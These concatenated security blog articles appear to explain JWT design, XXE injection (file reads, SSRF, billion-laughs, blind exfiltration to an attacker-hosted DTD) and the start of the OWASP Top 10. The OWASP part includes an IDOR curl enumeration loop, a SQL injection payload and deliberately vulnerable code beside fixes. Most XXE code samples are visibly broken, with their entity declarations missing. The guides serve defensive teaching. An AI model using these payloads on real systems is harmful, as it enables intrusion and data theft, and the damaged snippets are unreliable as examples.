Because JWTs are so often introduced as the modern replacement for sessions, it helps to see the two models side by side. Each makes a different trade, and the right choice depends on what you are building.
| Property | Server-side session | Stateless JWT |
|---|---|---|
| Where state lives | Server store, keyed by a random id | Inside the token, carried by the client |
| Revocation | Immediate: delete the server record | Hard: valid until it expires |
| Lookup per request | Database or cache read | Signature check, no lookup |
| Horizontal scaling | Needs shared session storage | Any node with the key can verify |
| Cross-service use | Awkward, tied to one store | Natural, especially with asymmetric keys |
| Blast radius of theft | Session can be killed at once | Token works until expiry |
The table explains why the two-token pattern exists. Pure server-side sessions give instant revocation and pay for it with a lookup on every request and shared storage. Pure long-lived JWTs give effortless scaling and pay for it with a revocation problem. Pairing a short-lived JWT access token with a revocable, server-checked refresh token takes the scaling benefit of the token for the common case, the per-request check, while keeping a genuine off switch on the refresh path. The access token stays stateless and fast; the refresh token stays stateful and revocable. This is the design most production systems converge on because it captures the useful half of each model.
## Common mistakes
A handful of implementation mistakes account for most JWT trouble in practice, and they cluster around the same overconfidence in the token.
**Decoding without verifying.** Client-side or server-side, reading the payload for its claims without checking the signature accepts anything anyone sends. The decode is free and the verify is the security boundary, so treat any unverified claim as untrusted input.
**Letting the token pick the algorithm.** Passing the header's `alg` straight into the verification call is the doorway to the `none` and key-confusion attacks. Configure the one algorithm your server accepts and reject anything else before verification begins.
**Storing access tokens in `localStorage`.** Anything readable by JavaScript is readable by an injected script, so a single cross-site scripting flaw hands over a live credential. A cookie marked `HttpOnly`, `Secure`, and `SameSite` keeps the token out of script's reach and shrinks the damage an injection can do.
**Putting sensitive data in the payload.** The payload is public to anyone who holds the token. Roles and identifiers are fine; passwords, keys, and personal secrets are not.
**Skipping expiry, audience, and issuer checks.** A validated signature on a token you were never meant to accept still gets you compromised. Check that the token has not expired, was meant for your service, and came from an issuer you trust.
**Treating logout as if it kills the token.** Deleting a token from the browser stops that browser from sending it, but a copy an attacker already holds keeps working until it expires. Real invalidation runs through the revocable refresh token and short access-token lifetimes, which is why those two choices are load-bearing.
## Frequently asked questions
**Is a JWT encrypted?**
A standard signed JWT is not encrypted. The header and payload are Base64URL-encoded, which anyone can reverse to plain JSON without any key. The signature protects against tampering, not against reading. If you need the contents to be confidential, that is a separate mechanism (JWE, JSON Web Encryption), and it is a different construction from a plain signed token.
**Where should I store a JWT in a browser?**
Prefer a cookie marked `HttpOnly`, `Secure`, and `SameSite`, which keeps the token out of reach of page scripts and reduces what a cross-site scripting flaw can steal. Storing it in `localStorage` makes it readable by any script on the page, so a single injection can walk off with a valid credential. Whichever you choose, keep the access-token lifetime short.
**Why is revoking a JWT hard?**
Because a stateless access token is trusted purely on its signature and expiry, with no server lookup that could mark it dead. The common answer is to keep access tokens short-lived and pair them with a longer-lived refresh token that is stored and checked server-side. Deleting the refresh token stops new access tokens from being minted, and the last short-lived one expires on its own within minutes.
**What is the difference between HS256 and RS256?**
`HS256` is symmetric: one shared secret both creates and verifies tokens, which suits a single service that issues and checks its own tokens. `RS256` is asymmetric: a private key signs and a separate public key verifies, so many independent services can verify tokens issued by one authorization server without being able to forge them. Choose `RS256`-style asymmetric signing when multiple parties must trust tokens from one issuer.
**How long should an access token live?**
Short, typically on the order of minutes. A shorter lifetime shrinks the window in which a stolen token is useful, at the cost of more frequent refreshes. The refresh token carries the longer session and can be revoked server-side, so you get a small theft window on the access token and a real off switch on the refresh path.
**Can I put a user's role or permissions in a JWT?**
Yes, that is a normal use of a private claim, and it is part of why JWTs enable stateless authorization. Keep in mind the payload is public, so a role is visible to anyone holding the token, and the values are only trustworthy after the signature and standard claims are verified. Sensitive data still does not belong in the payload.
**What makes the `alg` header dangerous?**
It lets the token suggest which algorithm the server should use to verify it, and a server that obeys that suggestion can be tricked. Setting `alg` to `none` invites the server to skip signature checking; switching it to `HS256` on an `RS256` system invites the key-confusion attack. Pin the algorithm on the server and ignore the token's claim about it.
## Related guides
- [JWT Attacks Explained](/jwt-attacks-explained)
- [OAuth 2.0 Explained](/oauth-2-explained)
- [What Is HMAC](/what-is-hmac)
- [Session Hijacking Explained](/session-hijacking-explained)
### Sources
- JSON Web Token (JWT) (RFC 7519) (IETF): https://datatracker.ietf.org/doc/html/rfc7519
- JSON Web Signature (JWS) (RFC 7515) (IETF): https://datatracker.ietf.org/doc/html/rfc7515
- OWASP: JSON Web Token Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html
---
## XXE Injection: XML External Entities, File Disclosure & SSRF
> How XML external entity injection reads local files, triggers SSRF, and crashes parsers, plus how disabling DTDs and external entities stops it.
- URL: https://blog.pwnsy.com/xxe-injection-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: xxe, web-security, owasp, xml, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- XXE abuses an XML parser configured to resolve external entities, letting an attacker's XML pull in local files, reach internal systems, or exhaust the parser.
- The two headline impacts are file disclosure (reading server files like /etc/passwd) and SSRF (forcing the parser to fetch internal URLs).
- Blind XXE, where the response is not returned, is still exploitable through out-of-band channels that exfiltrate data to an attacker-controlled server.
- The fix is direct: disable Document Type Definitions and external entity resolution in every XML parser, which removes the feature the attack depends on.
### Key Takeaways
- XXE is a parser-configuration flaw: XML that resolves external entities is dangerous, and most parsers resolve them by default unless told not to.
- External entities can point at local files, internal HTTP endpoints, or the cloud metadata service, which turns XXE into a file-read and SSRF primitive at once.
- The billion-laughs attack is a denial-of-service variant that uses nested internal entities to expand a tiny document into gigabytes in memory.
- Disabling DTDs entirely is the most robust defense; where a parser cannot disable DTDs, disable external general and parameter entities explicitly.
- XXE hides in any feature that parses uploaded or user-supplied XML: SOAP, SVG, SAML, office documents, RSS, and configuration imports.
XML has a feature most developers never knowingly use: a document can define an entity that points at an external resource, and a compliant parser will go fetch that resource and paste its contents into the document. Turn that feature loose on attacker-supplied XML and the parser becomes a tool for reading files off the server and making requests into the internal network. That is XML external entity injection, XXE.
The vulnerability comes from a dangerous default in how parsers implement the XML standard. For years, common XML libraries resolved external entities out of the box, so any endpoint that parsed user-supplied XML without hardening the parser was exposed. The impact ranges from quietly reading configuration secrets to full server-side request forgery.
## How XML entities work
An XML document can declare entities in a Document Type Definition, or DTD. An internal entity is a simple text substitution. An external entity tells the parser to load content from a URI, which is where the trouble starts.
A benign internal entity looks like this:
```
]>
&company;
```
The parser replaces `&company;` with `Pwnsy`. Harmless. Now change the entity to point at a file:
```
]>
&xxe;
```
If the parser resolves external entities, it reads `/etc/passwd` from the server's filesystem and substitutes its contents wherever `&xxe;` appears. When the application echoes that XML value back in a response, the attacker reads the file. The application never intended to expose the filesystem. The parser did it on the application's behalf.
The `SYSTEM` keyword is the pivot. It tells the parser the entity's value is a resource to be retrieved from the identifier that follows rather than the literal text of that identifier. A parser that honors it will dutifully open whatever the identifier names, whether that is a file path, an HTTP URL, or another scheme the underlying library supports. The application code that called the parser sees none of this. It asked for a document to be parsed and got back a fully populated object, unaware that populating it involved reaching out to the filesystem or the network.
There are two kinds of entity that matter for exploitation. A general entity, declared as `` and referenced in the document body with `&name;`, is the type shown above. A parameter entity, declared as `` and referenced inside the DTD itself with `%name;`, lives one level deeper in the parsing machinery. The distinction becomes important later, because some hardening turns off one type and leaves the other reachable. Attackers who study parser internals gravitate toward whichever entity type the defense forgot.
The scheme handlers available to an entity depend on the language and library underneath the parser. Java parsers have historically exposed a wide range, including `file`, `http`, `https`, `ftp`, `jar`, and `netdoc`, and some of those schemes have their own quirks that widen the attack. The `jar` scheme, for instance, can make a Java parser fetch and open an archive, which has been abused to hold a connection open or to reach files inside packaged resources. The practical lesson is that the entity URI is only a request, and what that request can do is decided by the runtime, so two applications with the same parser configuration on different platforms can present very different attack surfaces.
## A worked example: reading a file through a form field
It helps to trace a concrete flow end to end. Picture an application that accepts an XML document describing an order and returns a confirmation that echoes the customer name back to the browser. The intended request looks like this:
```
JordanSKU-4471
```
The server parses that, pulls out the customer element, and renders "Thank you, Jordan" in the response. Now an attacker submits a document that declares an external entity and uses it where the customer name belongs:
```
]>
&xxe;SKU-4471
```
If the parser resolves external entities, it reads the host file, substitutes the contents into the customer element, and the application dutifully renders "Thank you, " followed by the server's hostname. The attacker changed nothing about the application logic. They supplied a document that instructed the parser to fetch a file, and the reflection feature the developer built for names became a file viewer.
The same document with `file:///etc/passwd` returns a list of accounts. With a path to the application's own configuration it can return database credentials. The only constraints are what the process user can read and what the reflected element will faithfully print. Files with characters that break XML parsing, such as raw ampersands or angle brackets, may fail to substitute cleanly, which is why attackers often wrap the read in a base64 conversion where the platform allows it. On some Java and PHP stacks a filter or wrapper can encode the file first, so the entity returns printable text that always survives the parse.
## The two headline impacts
### File disclosure
The example above is the canonical XXE: point an external entity at a local file and have the application reflect it back. Attackers read `/etc/passwd`, application source, configuration files holding database credentials, cloud credential files, and private keys. Anything the application's user account can read is in scope.
### SSRF via XXE
An external entity URI does not have to be a `file://` path. Point it at an HTTP URL and the parser makes the request:
```
]>
&xxe;
```
Now the XML parser is a server-side request forgery engine. It reaches internal-only services and, in the cloud, the instance metadata endpoint that hands out temporary credentials. This is why XXE and SSRF are cousins: XXE gives an attacker a parser that fetches URLs from inside your network. For the full picture of what a request from inside the perimeter can reach, see our [SSRF explainer](/ssrf-explained).
### Denial of service: billion laughs
XXE also enables a classic amplification attack using only internal entities, no external fetch required:
```
]>
&lol3;
```
Each level multiplies the previous one tenfold. A few more layers and a document a few hundred bytes long expands into gigabytes in memory, taking the process down. This is the billion-laughs attack, and it is why disabling DTD processing entirely is the safest posture.
## Blind XXE and out-of-band exfiltration
Many real targets never reflect the parsed XML back in a response. That does not make them safe. Blind XXE uses out-of-band channels to move data off the server.
The attacker hosts an external DTD that defines parameter entities to read a local file and then send its contents to an attacker-controlled server as part of a URL:
- The vulnerable parser fetches the attacker's external DTD.
- The DTD reads a local file into an entity.
- The DTD triggers a request to the attacker's server with the file contents embedded in the URL or an error message.
The attacker never sees the application's HTTP response. They read the exfiltrated data from their own server's logs. Timing and error-based variants extend this further. Blind XXE is slower and noisier, and it is fully exploitable.
There is a wrinkle worth knowing. Some parsers block external general entities but still resolve external parameter entities, the kind used inside the DTD itself. Blind XXE techniques often rely on parameter entities precisely because they slip past a half-measure that only hardened the more obvious case. This is the practical argument for disabling DTD processing wholesale rather than turning off one entity type and assuming the job is done. A partial configuration that stops the textbook file-read example can still leave the out-of-band exfiltration path wide open.
XXE reaches well past endpoints that obviously accept XML. Many file formats are XML underneath: SVG images, DOCX and XLSX office documents, SAML authentication assertions, RSS and Atom feeds, and SOAP requests. An image uploader that processes SVG server-side, or a single sign-on flow that parses SAML, can be an XXE entry point even though no field is labeled "XML". Audit every parser that touches user-controlled data, including the ones you would never think of as XML APIs.
## Where XXE hides
The vulnerability lives anywhere the server parses XML it did not author. Common locations:
| Surface | Why it parses XML |
|---|---|
| SOAP web services | The protocol is XML end to end |
| SAML single sign-on | Assertions are signed XML documents |
| File uploads (SVG, DOCX, XLSX) | These formats are ZIP-wrapped or raw XML |
| RSS and Atom ingestion | Feeds are XML |
| Configuration and data import | "Import from XML" features |
| Legacy APIs | XML request bodies predating JSON |
The delivery vector often matters as much as the parser. A malicious SVG or office document is a file-format payload, and understanding how those formats smuggle active content is its own discipline, covered in our [attacker file formats guide](/attacker-file-formats-explained). Our file-formats reference on data.pwnsy.com maps which container formats carry XML underneath and how they are abused in real delivery, so you can identify which of your upload and import endpoints are quietly XML parsers.
The reason this surface is so wide is that XML became the default interchange format for a generation of enterprise software, and much of that plumbing is still in production. A modern JSON front end can sit on top of a SOAP or SAML back end that parses XML with a decade-old library and its original insecure defaults. The parser doing the dangerous work is frequently not the one the developer is thinking about, which is why an inventory of every place XML is parsed, including transitive library behavior, is worth more than spot checks on the obvious endpoints.
## How to defend against XXE
The good news is that XXE has a clean, decisive fix. Unlike injection flaws that require careful input handling, XXE can be shut off at the parser.
1. **Disable DTD processing entirely.** If your application does not need DTDs, and almost none do, configure every XML parser to reject documents that contain a DOCTYPE. This single setting removes external entities and billion-laughs in one move. It is the recommended default.
2. **If you must allow DTDs, disable external entity resolution.** Turn off both external general entities and external parameter entities in the parser configuration. Consult the OWASP cheat sheet for the exact flags per language and library, since the setting names differ.
3. **Prefer less dangerous data formats.** Where you control the interface, accept JSON instead of XML. JSON has no entity mechanism and no external-fetch feature, so this class of bug does not apply.
4. **Patch and update XML libraries.** Some older parsers made insecure choices by default that newer versions fixed. Keep them current.
5. **Validate and constrain uploads.** For features that must accept XML-backed files like SVG, process them with a hardened parser and consider server-side sanitization or rendering that strips DOCTYPE declarations.
6. **Apply SSRF controls as a backstop.** Because XXE can trigger outbound requests, the same allowlisting and network segmentation that limit SSRF also limit the blast radius of an XXE that reaches the fetch stage.
XXE is unusual among web vulnerabilities because a single correct parser configuration eliminates it across an entire application. Make "DTDs disabled, external entities off" the standard for every XML parser in your stack, enforce it in a shared parsing utility rather than per-endpoint, and new code inherits the protection automatically.
## Walking through a blind XXE exfiltration
The out-of-band case deserves a step-by-step trace, because it is the version most people find confusing. Assume the application parses the attacker's XML but never reflects any value back. The attacker still wants a file. They set up two pieces: a payload sent to the target, and a malicious DTD hosted on a server they control.
The payload sent to the target declares a parameter entity that pulls in the attacker's external DTD:
```
%remote;
]>
ping
```
When the vulnerable parser processes this, the `%remote;` reference forces it to fetch `evil.dtd` from the attacker's server. That fetch alone confirms the vulnerability, because the attacker sees the inbound request in their own logs even if the application returns nothing useful. The hosted DTD then does the real work:
```
">
%wrapper;
%send;
```
Read from the top. The `file` parameter entity reads the local file. The `wrapper` entity builds a second entity definition whose value embeds the file contents inside a URL pointing back at the attacker. The final `%send;` reference triggers that outbound request, carrying the file contents in the query string. The attacker reads the exfiltrated data straight out of their web server access log. No part of the application response ever needed to show the data.
This construction relies entirely on parameter entities, which is why a defense that only blocks external general entities does nothing here. It is also why error-based variants exist: if the outbound HTTP fetch is firewalled, an attacker can instead craft a DTD that forces the file contents into a parser error message, and where the application returns parse errors to the client the data leaks through the error text. Each variant chips at a different assumption an incomplete defense might rely on.
If a test payload causes the server to fetch an attacker-controlled URL, the vulnerability is proven even when no file has leaked yet. That single callback demonstrates the parser resolves external entities and reaches the network, which is enough to pursue file disclosure, internal SSRF, or denial of service. Treat any parser that phones home to a canary URL as exploitable and fix it, rather than waiting for a full data-exfiltration proof.
## Detection signals
XXE leaves traces on both the sending and receiving side, and knowing where to look shortens both offensive testing and defensive monitoring.
- **Outbound requests from a parsing host to unexpected destinations.** An application server that suddenly makes DNS lookups or HTTP requests to external domains during an XML parse is a strong signal. A canary token or a unique subdomain per test makes this unambiguous, because any resolution of that name traces back to the exact payload that carried it.
- **Requests to link-local and internal addresses.** Traffic aimed at `169.254.169.254`, `localhost`, or RFC 1918 ranges originating from a service that parses user XML points at XXE-driven SSRF. Egress logs and cloud VPC flow logs surface this.
- **File-scheme access patterns.** On hosts with filesystem auditing, reads of `/etc/passwd`, `/etc/hostname`, or application secret files by an XML-parsing process, close in time to a request, indicate file disclosure attempts.
- **Malformed or entity-heavy XML in request bodies.** A `DOCTYPE` declaration, a `SYSTEM` or `PUBLIC` keyword, or nested entity definitions in inbound XML on an endpoint that never expected them is worth flagging. A web application firewall can match these tokens, with the caveat that encoding and obfuscation can evade naive string rules.
- **Parser errors and latency spikes.** Billion-laughs and quadratic-blowup payloads show up as sudden memory pressure, CPU saturation, or a burst of parser exceptions on one endpoint. A parse that normally takes milliseconds and suddenly runs for seconds is a tell.
None of these signals is conclusive on its own, and a hardened parser produces none of them because it refuses the DOCTYPE outright. That is the point: detection is a backstop for the times the primary configuration control was missed, and it is most useful when the outbound network path is the thing being watched.
## XXE next to related techniques
XXE sits in a family of server-side injection and request-forgery flaws, and comparing them clarifies what makes it distinct.
| Technique | Attacker controls | Core primitive | Primary fix |
|---|---|---|---|
| XXE | XML parsed by the server | File read plus outbound fetch via entities | Disable DTDs and external entities |
| SSRF | A URL the server will fetch | Requests from inside the network | Validate and allowlist outbound targets |
| Path traversal | A filename the server will open | Read files outside the intended directory | Canonicalize and confine paths |
| Server-side template injection | Input rendered by a template engine | Code execution in the template context | Never render user input as a template |
| Deserialization | Serialized object bytes | Object graph and gadget-driven execution | Avoid native deserialization of untrusted data |
XXE is unusual in the group because a single primitive delivers both a file read and an outbound request, which is why it so often chains into the others. An XXE that reaches the cloud metadata endpoint is doing SSRF. An XXE that reads arbitrary paths overlaps with path traversal. The mapped identifier in the taxonomies is CWE-611 (Improper Restriction of XML External Entity Reference), and the denial-of-service variant maps to CWE-776 (Improper Restriction of Recursive Entity References, the billion-laughs pattern). In the MITRE ATT&CK enterprise matrix the network-pivot behavior aligns with T1190 (Exploit Public-Facing Application).
## Common mistakes and misconceptions
Several beliefs about XXE are widespread and wrong, and each one leaves a real gap.
**"We block external entities, so we are safe."** Blocking external general entities while leaving parameter entities reachable stops the textbook file-read example and leaves the out-of-band exfiltration path open. Disabling DTD processing entirely is the setting that closes both.
**"We only accept JSON, so XXE does not apply."** A JSON front end can sit on a SOAP or SAML back end, and libraries that accept JSON sometimes also accept XML when a content type is switched. The question is which parsers ever touch user data, not which format the public API advertises.
**"Our parser is modern, so the defaults are safe."** Some libraries did harden their defaults, and many did not, and the behavior varies by version and by which factory or feature flags the code enables. Relying on an assumed default rather than an explicit configuration is how the vulnerability survives upgrades.
**"XXE needs the response reflected to be exploitable."** Blind XXE moves data out of band and needs no reflection at all. An endpoint that returns a fixed success message is still exploitable if the parser fetches attacker URLs.
**"It is just a file read, so it is low severity."** The same primitive reaches internal services and cloud metadata, where it can retrieve temporary credentials and pivot deeper. Rating XXE on the file-read case alone understates it.
## How XXE became a standard finding
External entities were part of XML from its early standardization, when the format was designed for document interchange and fetching a referenced resource was a feature, not a threat. The security implications surfaced as XML spread from documents into web service payloads, where the parser was suddenly handling data from anonymous internet clients rather than trusted authors. Through the 2000s and into the 2010s XML sat under SOAP, SAML, RSS, and a wave of office and image formats, and the same permissive entity behavior that made sense for documents became a server-side liability.
Awareness grew as researchers demonstrated the out-of-band and parameter-entity techniques that made blind cases practical, and the flaw earned its own place in the OWASP Top 10 as a distinct category for a cycle before being folded into a broader grouping in later editions. The folding reflected better default configurations in some libraries, not the disappearance of the bug. Legacy XML plumbing keeps the technique relevant, because a great deal of enterprise software still parses XML with the assumptions of its original design.
## Frequently asked questions
**Is XXE only a problem for endpoints that obviously accept XML?**
No. Many file formats are XML underneath, including SVG, DOCX, XLSX, and SAML assertions, and any feature that parses one of them is a potential XXE entry point even when nothing is labeled XML.
**Does disabling external entities fully fix XXE?**
It fixes the file-read and SSRF cases only if you disable both external general and external parameter entities. Disabling DTD processing entirely is more robust, because it also removes the billion-laughs denial-of-service path and closes the parameter-entity route used by blind exfiltration.
**Can XXE lead to remote code execution?**
Usually the direct impact is file disclosure, SSRF, and denial of service. Code execution is possible in specific stacks, for example where an `expect`-style wrapper is available to the parser, but it is platform dependent and far less common than the file and network primitives.
**Why is JSON recommended as a mitigation?**
JSON has no entity mechanism and no external-fetch feature, so this class of bug simply does not apply to a JSON parser. Where you control the interface, accepting JSON removes the attack surface rather than trying to harden around it.
**How is blind XXE different from classic XXE?**
Classic XXE reflects the parsed value back in the response, so the attacker reads the file directly. Blind XXE never reflects anything and instead exfiltrates data over an out-of-band channel, typically an HTTP request to the attacker's server or data smuggled into a parser error message.
**What is the single most effective control?**
Configure a shared, hardened XML parser with DTDs disabled and reuse it everywhere, so no individual endpoint has to remember the setting and new code inherits the protection automatically.
XXE turns a routine parsing step into a file-read and network-pivot primitive, and it has quietly sat inside SOAP services, SAML flows, and image uploaders for a decade. The defense is not subtle. Disable DTDs, turn off external entities, prefer JSON where you can, and centralize the hardened parser so no future endpoint reopens the door.
## Related guides
- [SSRF Explained](/ssrf-explained)
- [Command Injection Explained](/command-injection-explained)
- [Path Traversal Explained](/path-traversal-explained)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
- [Attacker File Formats Explained](/attacker-file-formats-explained)
### Sources
- OWASP: XML External Entity (XXE) Processing (OWASP): https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
- PortSwigger Web Security Academy: XXE Injection (PortSwigger): https://portswigger.net/web-security/xxe
- OWASP XML External Entity Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
---
## OWASP Top 10 Explained with Examples
> A practical breakdown of the OWASP Top 10 (2021) with real vulnerability examples, payloads, and fixes every developer and pentester should know.
- URL: https://blog.pwnsy.com/owasp-top-10-explained
- Date: 2026-03-11
- Updated: 2026-04-08
- Difficulty: intermediate
- Category: web-security
- Tags: owasp, web-security, xss, sql-injection, vulnerabilities, appsec, pentesting
- Related: [Best Cybersecurity Certifications & Courses in 2026](https://blog.pwnsy.com/best-cybersecurity-certifications), [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification)
### TL;DR
- Broken Access Control topped the 2021 OWASP list, appearing in 94% of tested applications: the fix is binding every resource query to the authenticated user's ID server-side on every request.
- Injection vulnerabilities (SQL, OS command, SSTI, NoSQL) are universally prevented by parameterized queries and passing user input as data to interpreters, never as part of a command.
- The Equifax breach (147 million records exposed) traced to an unpatched Apache Struts CVE that had a fix available 66 days before exploitation; dependency auditing in CI prevents this class of breach.
- SSRF became a Top 10 category in 2021 because cloud metadata services at 169.254.169.254 are reachable from any instance, and a single SSRF gives attackers temporary IAM credentials.
### Key Takeaways
- Broken Access Control is the most prevalent web vulnerability, and automated scanners cannot detect it because they do not understand an application's authorization model, manual testing with two accounts is required.
- Password storage must use a slow adaptive algorithm: bcrypt at work factor 12 minimum or Argon2id per NIST SP 800-63B, fast algorithms like MD5 and SHA-256 are GPU-crackable even with a salt.
- Insecure Design addresses architectural flaws that exist before code is written; threat modeling using STRIDE applied to data flow diagrams surfaces security requirements before implementation begins.
- The average time to detect a breach exceeds 200 days not because breaches are subtle, but because logging is absent, too noisy to act on, or not reviewed, structured logging of auth events and ACL violations is foundational.
- Supply chain integrity failures, represented by the SolarWinds breach, require CI/CD pipeline security, verified dependency lockfiles, and Subresource Integrity hashes on third-party scripts.
### FAQ
**Q: What is the OWASP Top 10?**
The OWASP Top 10 is a regularly updated list of the most critical web application security risks, compiled from data contributed by hundreds of organizations covering tens of thousands of applications. The 2021 edition introduced three new categories and moved Broken Access Control to the top position after it appeared in 94% of tested applications.
**Q: What is an IDOR vulnerability?**
An Insecure Direct Object Reference (IDOR) is a type of Broken Access Control where an API trusts a user-supplied identifier without verifying that the authenticated user is authorized to access the referenced resource. The fix is to bind every resource query to the authenticated user's ID so that a query for a resource belonging to another user returns null rather than the data.
**Q: What is SQL injection and how do you prevent it?**
SQL injection occurs when untrusted user input is concatenated directly into a SQL query, allowing an attacker to modify the query's logic, for example, using a payload like admin'-- to comment out a password check. Prevention requires parameterized queries (also called prepared statements) so user input is always passed as data to the database driver, never interpreted as SQL syntax.
**Q: What is SSRF and why is it dangerous in cloud environments?**
Server-Side Request Forgery (SSRF) tricks a server into making outbound HTTP requests to attacker-specified URLs, including internal services not exposed to the public internet. In cloud environments, this is particularly dangerous because the metadata service at 169.254.169.254 is reachable from any instance and returns temporary IAM credentials, as demonstrated in the 2019 Capital One breach that exposed over 100 million records.
**Q: How should passwords be stored securely?**
Passwords must be stored using a slow, adaptive hashing algorithm designed for password storage, bcrypt at a work factor of 12 or higher, or Argon2id with parameters per NIST SP 800-63B. Fast algorithms like MD5, SHA-1, and SHA-256 are insufficient regardless of salting because modern GPU clusters can crack them at billions of hashes per second.
The OWASP Top 10 is updated every few years based on data from hundreds of contributing organizations, covering tens of thousands of applications. The 2021 edition was a landmark: three entirely new categories were added, and the top position changed hands from Injection (which had held it for a decade) to Broken Access Control. That shift alone tells you something important about where the industry is failing.
This isn't a glossary. Every item gets attack payloads, vulnerable code, fixed code, and at least one real-world incident you can look up. Work through it systematically and you'll have a functional mental model for finding and fixing the vulnerabilities that actually matter in production systems.
Looking for the right scanner or web app testing tool? Browse 3,700+ vetted OSINT & security tools at [tools.pwnsy.com](https://tools.pwnsy.com).
## A01: Broken Access Control
Broken access control claimed the top spot in 2021 after appearing in 94% of tested applications. It covers the entire failure space of authorization: vertical privilege escalation (low-privilege user accessing admin functions), horizontal privilege escalation (User A accessing User B's resources), missing function-level access control, and CORS misconfigurations.
The canonical example is an Insecure Direct Object Reference (IDOR): an API that trusts a user-supplied identifier without verifying whether the authenticated user is authorized to access the referenced resource.
### Real Incident: Facebook (2021): IDOR Leading to Account Takeover
In August 2021, security researcher Youssef Sammouda reported a critical IDOR in Facebook's account recovery flow that could be exploited to take over any Facebook account. The vulnerability was in a password reset endpoint that accepted a user-controlled target account ID. Facebook paid $130,000 for this report: their largest single bug bounty payout at the time. The root cause: authorization was checked at the start of the flow but not re-validated at subsequent steps.
### Vulnerable Code
```typescript
// GET /api/v2/invoices/:id
// VULNERABLE: only checks that the JWT is valid, not that the user owns the invoice
app.get('/api/v2/invoices/:id', authenticate, async (req, res) => {
const invoice = await db.invoices.findOne({ id: req.params.id });
if (!invoice) return res.status(404).json({ error: 'Not found' });
return res.json(invoice); // returns any user's invoice to any authenticated user
});
```
An attacker authenticates as themselves, captures a valid JWT, then iterates the `id` parameter from 1 to 100,000 and reads every invoice in the system. No special tools required, just a for loop and curl.
```bash
# Simple IDOR enumeration
for i in $(seq 1 1000); do
curl -s -H "Authorization: Bearer $JWT" https://target.com/api/v2/invoices/$i \
| jq -r '. | select(.userId != null) | "\(.id) \(.userId) \(.amount)"'
done
```
### Fixed Code
```typescript
// SAFE: bind the query to the authenticated user's ID
app.get('/api/v2/invoices/:id', authenticate, async (req, res) => {
const invoice = await db.invoices.findOne({
id: req.params.id,
userId: req.user.id, // if this row doesn't belong to req.user, findOne returns null
});
if (!invoice) return res.status(403).json({ error: 'Forbidden' });
return res.json(invoice);
});
```
### Function-Level Access Control
A subtler variant: API endpoints that should require admin access but only check for authentication, not authorization level.
```typescript
// VULNERABLE: @authenticate checks JWT validity, not role
app.delete('/api/admin/users/:id', authenticate, async (req, res) => {
await db.users.delete({ id: req.params.id });
return res.json({ success: true });
});
// SAFE: check role after authentication
app.delete('/api/admin/users/:id', authenticate, requireRole('admin'), async (req, res) => {
await db.users.delete({ id: req.params.id });
return res.json({ success: true });
});
// requireRole middleware
function requireRole(role: string) {
return (req: Request, res: Response, next: NextFunction) => {
if (req.user.role !== role) {
return res.status(403).json({ error: 'Insufficient permissions' });
}
next();
};
}
```
Testing for IDOR requires manual analysis. Automated scanners don't understand your application's authorization model. The test is: authenticate as User A, capture a resource ID belonging to User B, make the request as User A. If you get User B's data, it's vulnerable.
### Access Control Checklist
- Deny access by default; explicitly grant permissions rather than explicitly denying them
- Enforce access control server-side on every request, not just at login
- Log access control violations and alert on anomalous patterns
- Rate-limit API endpoints to slow down enumeration attacks
- Use UUIDs instead of sequential integers for resource IDs (security through obscurity, not a fix, but raises the bar for enumeration)
---
## A02: Cryptographic Failures
Previously named "Sensitive Data Exposure," this category was renamed in 2021 to emphasize the root cause rather than the symptom. The failures include: transmitting sensitive data over HTTP, storing passwords with fast hashing algorithms, using weak cipher suites, storing encryption keys alongside encrypted data, and missing or misconfigured TLS.
### Real Incident: RockYou (2009) vs. LinkedIn (2012)
RockYou stored 32 million passwords in plaintext. When their database was breached in December 2009, attackers published the full list, which became the foundational wordlist used in password cracking for the next decade. The `rockyou.txt` file ships with Kali Linux.
LinkedIn's 2012 breach exposed 6.5 million SHA-1 hashed passwords, initially believed to be the scope of the breach. In 2016, it emerged that the actual count was 117 million passwords. SHA-1 without salt: LeakedSource cracked 90% of the hashes within 72 hours using a GPU cluster. LinkedIn faced a class-action lawsuit and paid $1.25 million to settle.
The 2013 Adobe breach: 153 million records, passwords encrypted with 3DES (not hashed, encrypted, meaning reversible) and all accounts using the same password had the same ciphertext. Users discovered their own and others' passwords by analyzing patterns in the encrypted values.
### Vulnerable Password Storage
```python
import hashlib
# VULNERABLE — MD5, fast, rainbow-table reversible
stored_hash = hashlib.md5(password.encode()).hexdigest()
# VULNERABLE — SHA-256, still fast, GPU-crackable
stored_hash = hashlib.sha256(password.encode()).hexdigest()
# VULNERABLE — unsalted bcrypt (bcrypt without per-user salt)
# Note: bcrypt generates its own salt, but using a FIXED salt is catastrophic
import bcrypt
FIXED_SALT = b'$2b$12$fixedsaltthatneverchan' # DO NOT DO THIS
stored_hash = bcrypt.hashpw(password.encode(), FIXED_SALT)
```
### Fixed Password Storage
```python
import bcrypt
import argon2
# OPTION 1: bcrypt (work factor 12 minimum; each increment doubles compute time)
def hash_password_bcrypt(password: str) -> str:
salt = bcrypt.gensalt(rounds=12)
return bcrypt.hashpw(password.encode('utf-8'), salt).decode('utf-8')
def verify_password_bcrypt(password: str, hashed: str) -> bool:
return bcrypt.checkpw(password.encode('utf-8'), hashed.encode('utf-8'))
# OPTION 2: Argon2id (preferred for new systems per NIST SP 800-63B)
from argon2 import PasswordHasher
ph = PasswordHasher(
time_cost=2, # iterations
memory_cost=65536, # 64MB RAM
parallelism=2,
hash_len=32,
salt_len=16
)
def hash_password_argon2(password: str) -> str:
return ph.hash(password)
def verify_password_argon2(password: str, hashed: str) -> bool:
try:
return ph.verify(hashed, password)
except:
return False
```
### TLS Misconfiguration
```bash
